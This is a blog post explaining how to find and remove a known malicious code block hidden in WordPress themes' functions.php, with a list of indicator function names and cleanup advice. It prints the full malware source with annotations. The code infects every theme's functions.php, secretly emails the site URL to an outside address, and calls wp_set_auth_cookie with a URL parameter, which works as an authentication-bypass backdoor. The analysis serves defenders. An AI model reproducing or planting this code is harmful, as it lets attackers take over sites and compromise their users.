How WordPress themes clean up malicious code _verifyactivate_widgets

Chen Weiliangcurrently usingWordfence Security security plugin scans websites for malicious codeAfterwards, it was foundWordPressIn the theme's function.php file, the malicious virus code is hidden.

Malicious code in WordPress theme functions.php file

The most likely place for "malicious code" in WordPress is function.php in the theme directory, usually hidden at the end of the function.php file.

main problem:The malicious code will detect whether all the topics under the current blog are infected every time someone visits your blog page. If not, they will be infected together.

After that, when the initialization action init of wp is executed, it will check whether the current blog has sent an email to the mailbox livethemas@gmail. com

How do you know if it's posted?

• Inside your wp_options table there is a file called_is_widget_active_option, if it has been sent successfully, set its value to 1;
• If not, use the homepage URL of the currently infected blog as the title and content.
• That's it, no other bad things to do.

The malicious virus code is as follows (there may be some differences, but the basic code is the same):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

What is the malicious code of WordPress theme?

If scanning with the Wordfence Security plugin determines that your function.php file has been tampered with, check it out, for example:

1. _verifyactivate_widgets
2. function _checkactive_widgets
3. function _get_allwidgets_cont
4. function strips
5. function strripos
6. function scandir
7. function _getprepare_widget
8. function __popular_posts
9. add_action("admin_head", "_checkactive_widgets");
10. add_action("init", "_getprepare_widget");
11. _verify_isactivate_widgets
12. _check_isactive_widget
13. _get_allwidgetscont
14. _prepare_widgets
15. __popular_posts

• Each line is independent, if you have the above code in your functions.php then you may be hit.
• Among them, functions and add_action are generally code of "malicious code" belonging to "preparation activities".

How to remove WordPress theme function.php malicious virus code?

It is also very simple to clean up, just find the code similar to the above in the function.php file of the WordPress theme and delete it, but because once infected, all themes in your themes theme directory will be infected, so only the current The theme used is invalid and will be generated soon after clearing.

The solution is to remove the malicious virus code of one WordPress theme, set the functions.php file to 444 permissions, and then clean the other WordPress themes.

As for whether the 444 permission of the last functions.php file needs to be changed back, people suggest that 444 is relatively safe and can be modified when necessary.

Notes on using the Wordfence Security plugin

We recommend the WordPress plugin by Wordfence Security, a WordPress security plugin with integrated firewall and malware scanning, built and maintained by a large team that is 100% focused on WordPress security.

Although there are paid modules, we can use the free module "Scan" to scan our WordPress site for PHP files containing "malicious code", although there is a certain false positive rate (mainly some genuine plugins, the theme encryption component will be blocked by false positives), but finding "malicious code" is definitely more work with less effort.

It should be noted that this plug-in is not recommended to be turned on frequently, because its firewall and security protection will cause a certain load pressure on the database and affect the performance of the website.

Typically, plugins are enabled to run "scan" scans when needed.

Close the plug-in after the investigation is completed, in case of emergency.